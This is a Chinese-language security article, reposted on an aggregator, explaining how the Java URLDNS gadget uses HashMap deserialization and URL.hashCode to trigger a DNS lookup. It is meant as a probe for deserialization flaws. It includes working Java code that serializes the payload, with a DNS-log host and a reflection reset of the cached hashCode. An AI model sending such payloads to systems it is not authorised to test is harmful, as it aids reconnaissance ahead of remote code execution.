43

通过HashMap触发DNS检测Java反序列化漏洞

 5 years ago
source link: https://www.tuicool.com/articles/2E7Bje3
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

我们常说的反序列化漏洞一般是指readObject()方法处触发的漏洞,而除此以外针对不同的序列化格式又会产生不同的出发点,比如说fastjson会自动运行setter,getter方法。之后又有各种RMI,JNDI姿势去执行命令。现在常见的黑盒检测Java反序列化方式就是执行命令API,比如用一个gadget去执行nslookup xxx 最终通过服务器记录去判断。

但这种方式可能出现的一种问题是,你选择测试的gadget服务器正好没这个jar包或者更新过了,但却有另一个存在漏洞的jar包。这时候单一的gadget构造出的执行命令payload就会漏报。所以为了解决这种问题这里分享一个通过HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种gadget去尝试试RCE。

HashMap readObject & URLStreamHandler hashCode

HashMap最早出现在JDK 1.2中,底层基于散列算法实现。而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。因此,HashMap实现了自己的writeObject和readObject方法。

因为是研究反序列化问题,所以我们来看一下它的readObject方法 iYbEbyv.jpg!web

前面主要是使用的一些防止数据不一致的方法,我们可以忽视。主要看putVal时候key进入了hash方法,跟进看

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
 

这里直接调用了key的hashCode方法。那么我们现在就需要一个类hashCode可以执行某些东西即可。

很幸运的我们发现了URL类,它有一个有趣的特点,就是当执行hashCode方法时会触发当前URLStreamHandler的hashCode方法。

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;
 
        hashCode = handler.hashCode(this);
        return hashCode;
    }
 

我们可以继续跟进

protected int hashCode(URL u) {
        int h = 0;
 
        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();
 
        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }
 
        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();
 
        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();
 
        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();
 
        return h;
    }
 

主要就是这句代码了

InetAddress addr = getHostAddress(u);
 
ZnQz2yb.png!web

很简单,就是这里最后触发了DNS查询。

也就是说我们现在思路是通过hashmap放入一个URL的key然后会触发DNS查询。这里需要注意一个点,就是在URLStreamHandler的hashCode方法中首先进行了一个缓存判断即如果不等于-1会直接return。

if (hashCode != -1)
            return hashCode;
 

因为在生成hashMap put时候会调用到hashCode方法,所以会缓存下来,即hashcode不为-1。所以为了让被接收者触发DNS查询,我们需要先通过反射把hashcode值改为-1,绕过缓存判断。

Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
 

最后生成的代码为

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
String url="http://1us794.ceye.io";
HashMap hashMap = new HashMap(); // HashMap that will contain the URL
URL u = new URL(url); // URL to use as the Key
hashMap.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
oos.writeObject(hashMap);
oos.flush();
oos.close();
 

测试代码

ObjectInputStream ois=new ObjectInputStream(new FileInputStream("object.obj"));
ois.readObject();
 

调用栈

neUbQba.png!web

可以看到触发成功

aIVvqaI.jpg!web

ysoserial已经有加入这个方式 具体可见: https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

参考:


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK